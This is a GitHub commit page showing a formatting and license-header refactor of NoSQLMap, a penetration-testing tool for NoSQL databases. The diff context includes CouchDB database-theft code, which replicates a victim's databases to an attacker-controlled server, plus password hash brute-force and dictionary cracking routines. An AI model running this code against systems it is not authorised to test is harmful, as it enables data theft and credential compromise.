Skip to content

Commit afb5420

Browse files
codingocodingo
authored
Merge pull request #55 from codingo/topic-refactoring
Topic refactoring
2 parents 37fd3c7 + f955dc7 commit afb5420

File tree

7 files changed

+111
-129
lines changed

7 files changed

+111
-129
lines changed

‎.gitignore

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -219,3 +219,6 @@ pip-log.txt
219219
.idea/.name
220220

221221
.idea/NoSQLMap.iml
222+
*.iml
223+
*.pyproj
224+
*.sln

‎nosqlmap.py

Lines changed: 31 additions & 39 deletions
Original file line numberDiff line numberDiff line change
@@ -1,18 +1,6 @@
11
#!/usr/bin/python
2-
#NoSQLMap Copyright 2016 Russell Butturini
3-
#This program is free software: you can redistribute it and/or modify
4-
# it under the terms of the GNU General Public License as published by
5-
#the Free Software Foundation, either version 3 of the License, or
6-
#(at your option) any later version.
7-
8-
#This program is distributed in the hope that it will be useful,
9-
#but WITHOUT ANY WARRANTY; without even the implied warranty of
10-
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
11-
#GNU General Public License for more details.
12-
13-
#You should have received a copy of the GNU General Public License
14-
#along with this program. If not, see <http://www.gnu.org/licenses/>.
15-
2+
# NoSQLMap Copyright 2012-2017 NoSQLMap Development team
3+
# See the file 'doc/COPYING' for copying permission
164

175
import sys
186
import nsmcouch
@@ -23,10 +11,11 @@
2311
import signal
2412
import ast
2513

14+
2615
def main():
2716
signal.signal(signal.SIGINT, signal_handler)
2817
global optionSet
29-
#Set a list so we can track whether options are set or not to avoid resetting them in subsequent calls to the options menu.
18+
# Set a list so we can track whether options are set or not to avoid resetting them in subsequent calls to the options menu.
3019
optionSet = [False]*9
3120
global yes_tag
3221
global no_tag
@@ -43,7 +32,7 @@ def main():
4332
global verb
4433
global scanNeedCreds
4534
global dbPort
46-
#Use MongoDB as the default, since it's the least secure ( :-p at you 10Gen )
35+
# Use MongoDB as the default, since it's the least secure ( :-p at you 10Gen )
4736
platform = "MongoDB"
4837
dbPort = 27017
4938
myIP = "Not Set"
@@ -75,7 +64,7 @@ def mainMenu():
7564
print "\_| \_/\___/\____/ \_/\_\_____/\_| |_/\__,_| .__/"
7665
print "===================================================="
7766
print "NoSQLMap-v0.7"
78-
print "nosqlmap@gmail.com"
67+
print "codingo@protonmail.com"
7968
print "\n"
8069
print "1-Set options"
8170
print "2-NoSQL DB Access Attacks"
@@ -97,13 +86,13 @@ def mainMenu():
9786
elif platform == "CouchDB":
9887
nsmcouch.netAttacks(victim, dbPort, myIP)
9988

100-
#Check minimum required options
89+
# Check minimum required options
10190
else:
10291
raw_input("Target not set! Check options. Press enter to continue...")
10392

10493

10594
elif select == "3":
106-
#Check minimum required options
95+
# Check minimum required options
10796
if (optionSet[0] == True) and (optionSet[2] == True):
10897
if httpMethod == "GET":
10998
nsmweb.getApps(webPort,victim,uri,https,verb,requestHeaders)
@@ -131,6 +120,7 @@ def mainMenu():
131120
else:
132121
raw_input("Invalid selection. Press enter to continue.")
133122

123+
134124
def platSel():
135125
global platform
136126
global dbPort
@@ -154,6 +144,7 @@ def platSel():
154144
else:
155145
raw_input("Invalid selection. Press enter to continue.")
156146

147+
157148
def options():
158149
global victim
159150
global webPort
@@ -171,7 +162,7 @@ def options():
171162
requestHeaders = {}
172163
optSelect = True
173164

174-
#Set default value if needed
165+
# Set default value if needed
175166
if optionSet[0] == False:
176167
global victim
177168
victim = "Not Set"
@@ -219,24 +210,24 @@ def options():
219210
select = raw_input("Select an option: ")
220211

221212
if select == "1":
222-
#Unset the boolean if it's set since we're setting it again.
213+
# Unset the boolean if it's set since we're setting it again.
223214
optionSet[0] = False
224215
ipLen = False
225216

226217
while optionSet[0] == False:
227218
goodDigits = True
228219
notDNS = True
229220
victim = raw_input("Enter the host IP/DNS name: ")
230-
#make sure we got a valid IP
221+
# make sure we got a valid IP
231222
octets = victim.split(".")
232223

233224
if len(octets) != 4:
234-
#Treat this as a DNS name
225+
# Treat this as a DNS name
235226
optionSet[0] = True
236227
notDNS = False
237228
else:
238-
#If len(octets) != 4 is executed the block of code below is also run, but it is not necessary
239-
#If the format of the IP is good, check and make sure the octets are all within acceptable ranges.
229+
# If len(octets) != 4 is executed the block of code below is also run, but it is not necessary
230+
# If the format of the IP is good, check and make sure the octets are all within acceptable ranges.
240231
for item in octets:
241232
try:
242233
if int(item) < 0 or int(item) > 255:
@@ -308,39 +299,40 @@ def options():
308299
print "Invalid selection"
309300

310301
elif select == "7":
311-
#Unset the setting boolean since we're setting it again.
302+
# Unset the setting boolean since we're setting it again.
312303
optionSet[4] = False
313304

314305
while optionSet[4] == False:
315306
goodLen = False
316307
goodDigits = True
317-
#Every time when user input Invalid IP, goodLen and goodDigits should be reset. If this is not done, there will be a bug
318-
#For example enter 10.0.0.1234 first and the goodLen will be set to True and goodDigits will be set to False
319-
#Second step enter 10.0.123, because goodLen has already been set to True, this invalid IP will be put in myIP variables
308+
# Every time when user input Invalid IP, goodLen and goodDigits should be reset. If this is not done, there will be a bug
309+
# For example enter 10.0.0.1234 first and the goodLen will be set to True and goodDigits will be set to False
310+
# Second step enter 10.0.123, because goodLen has already been set to True, this invalid IP will be put in myIP variables
320311
myIP = raw_input("Enter the host IP for my " + platform +"/Shells: ")
321-
#make sure we got a valid IP
312+
# make sure we got a valid IP
322313
octets = myIP.split(".")
323-
#If there aren't 4 octets, toss an error.
314+
# If there aren't 4 octets, toss an error.
324315
if len(octets) != 4:
325316
print "Invalid IP length."
326317

327318
else:
328319
goodLen = True
329320

330321
if goodLen == True:
331-
#If the format of the IP is good, check and make sure the octets are all within acceptable ranges.
322+
# If the format of the IP is good, check and make sure the octets are all within acceptable ranges.
332323
for item in octets:
333324
if int(item) < 0 or int(item) > 255:
334325
print "Bad octet in IP address."
335326
goodDigits = False
336327

337-
# else:
338-
# goodDigits = True
339-
#Default value of goodDigits should be set to True
340-
#for example 12.12345.12.12
328+
# else:
329+
# goodDigits = True
341330

331+
# Default value of goodDigits should be set to True
332+
# for example 12.12345.12.12
342333

343-
#If everything checks out set the IP and break the loop
334+
335+
# If everything checks out set the IP and break the loop
344336
if goodLen == True and goodDigits == True:
345337
print "\nShell/DB listener set to " + myIP + "\n"
346338
optionSet[4] = True
@@ -380,7 +372,7 @@ def options():
380372
if httpMethod == "POST":
381373
postData = ast.literal_eval(csvOpt[1])
382374

383-
#Set option checking array based on what was loaded
375+
# Set option checking array based on what was loaded
384376
x = 0
385377
for item in optList:
386378
if item != "Not Set":
@@ -410,7 +402,7 @@ def options():
410402
paramValues = []
411403
httpMethod = "POST"
412404
postData = reqData[len(reqData)-1]
413-
#split the POST parameters up into individual items
405+
# split the POST parameters up into individual items
414406
paramsNvalues = postData.split("&")
415407

416408
for item in paramsNvalues:

‎nsmcouch.py

Lines changed: 18 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -1,19 +1,6 @@
11
#!/usr/bin/python
2-
#NoSQLMap Copyright 2016 Russell Butturini
3-
#This program is free software: you can redistribute it and/or modify
4-
# it under the terms of the GNU General Public License as published by
5-
#the Free Software Foundation, either version 3 of the License, or
6-
#(at your option) any later version.
7-
8-
#This program is distributed in the hope that it will be useful,
9-
#but WITHOUT ANY WARRANTY; without even the implied warranty of
10-
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
11-
#GNU General Public License for more details.
12-
13-
#You should have received a copy of the GNU General Public License
14-
#along with this program. If not, see <http://www.gnu.org/licenses/>.
15-
16-
2+
# NoSQLMap Copyright 2012-2017 NoSQLMap Development team
3+
# See the file 'doc/COPYING' for copying permission
174

185
import couchdb
196
import urllib
@@ -27,12 +14,14 @@
2714
from hashlib import sha1
2815
import os
2916

17+
3018
global dbList
3119
global yes_tag
3220
global no_tag
3321
yes_tag = ['y', 'Y']
3422
no_tag = ['n', 'N']
3523

24+
3625
def couchScan(target,port,pingIt):
3726
if pingIt == True:
3827
test = os.system("ping -c 1 -n -W 1 " + ip + ">/dev/null")
@@ -81,7 +70,7 @@ def netAttacks(target,port, myIP):
8170
mgtOpen = False
8271
webOpen = False
8372
mgtSelect = True
84-
#This is a global for future use with other modules; may change
73+
# This is a global for future use with other modules; may change
8574
dbList = []
8675
print "Checking to see if credentials are needed..."
8776
needCreds = couchScan(target,port,False)
@@ -117,7 +106,7 @@ def netAttacks(target,port, myIP):
117106

118107

119108
mgtUrl = "http://" + target + ":" + str(port) + "/_utils"
120-
#Future rev: Add web management interface parsing
109+
# Future rev: Add web management interface parsing
121110
try:
122111
mgtRespCode = urllib.urlopen(mgtUrl).getcode()
123112
if mgtRespCode == 200:
@@ -155,11 +144,13 @@ def netAttacks(target,port, myIP):
155144
if attack == "5":
156145
return
157146

147+
158148
def getPlatInfo(couchConn, target):
159149
print "Server Info:"
160150
print "CouchDB Version: " + couchConn.version()
161151
return
162152

153+
163154
def enumAtt(conn,target):
164155
dbList = []
165156
print "Enumerating all attachments..."
@@ -221,6 +212,7 @@ def enumDbs (couchConn,target,port):
221212

222213
return
223214

215+
224216
def stealDBs (myDB,couchConn,target,port):
225217
dbLoot = True
226218
menuItem = 1
@@ -247,7 +239,7 @@ def stealDBs (myDB,couchConn,target,port):
247239
break
248240

249241
try:
250-
#Create the DB target first
242+
# Create the DB target first
251243
myServer = couchdb.Server("http://" + myDB + ":5984")
252244
targetDB = myServer.create(dbList[int(dbLoot)-1] + "_stolen")
253245
couchConn.replicate(dbList[int(dbLoot)-1],"http://" + myDB + ":5984/" + dbList[int(dbLoot)-1] + "_stolen")
@@ -264,6 +256,7 @@ def stealDBs (myDB,couchConn,target,port):
264256
raw_input ("Something went wrong. Are you sure your CouchDB is running and options are set? Press enter to return...")
265257
return
266258

259+
267260
def passCrack (user, encPass, salt, dbVer):
268261
select = True
269262
print "Select password cracking method: "
@@ -286,9 +279,11 @@ def passCrack (user, encPass, salt, dbVer):
286279
return
287280
return
288281

282+
289283
def genBrute(chars, maxLen):
290284
return (''.join(candidate) for candidate in itertools.chain.from_iterable(itertools.product(chars, repeat=i) for i in range(1, maxLen + 1)))
291285

286+
292287
def brute_pass(hashVal,salt,dbVer):
293288
charSel = True
294289
print "\n"
@@ -326,7 +321,7 @@ def brute_pass(hashVal,salt,dbVer):
326321
print "\rCombinations tested: " + str(count) + "\r"
327322
count += 1
328323

329-
#CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use.
324+
# CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use.
330325
if float(dbVer[0:3]) < 1.3:
331326
gotIt = gen_pass_couch(attempt,salt,hashVal)
332327
else:
@@ -335,6 +330,7 @@ def brute_pass(hashVal,salt,dbVer):
335330
if gotIt == True:
336331
break
337332

333+
338334
def dict_pass(key,salt,dbVer):
339335
loadCheck = False
340336

@@ -354,7 +350,7 @@ def dict_pass(key,salt,dbVer):
354350
for passGuess in passList:
355351
temp = passGuess.split("\n")[0]
356352

357-
#CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use.
353+
# CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use.
358354
if float(dbVer[0:3]) < 1.3:
359355
gotIt = gen_pass_couch(temp,salt,key)
360356
else:
@@ -365,6 +361,7 @@ def dict_pass(key,salt,dbVer):
365361

366362
return
367363

364+
368365
def gen_pass_couch(passw, salt, hashVal):
369366
if sha1(passw+salt).hexdigest() == hashVal:
370367
print "Password Cracked - "+passw
@@ -373,6 +370,7 @@ def gen_pass_couch(passw, salt, hashVal):
373370
else:
374371
return False
375372

373+
376374
def gen_pass_couch13(passw, salt, iterations, hashVal):
377375
result=PBKDF2(passw,salt,iterations).read(20)
378376
expected=a2b_hex(hashVal)

0 commit comments

Comments
 (0)
pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy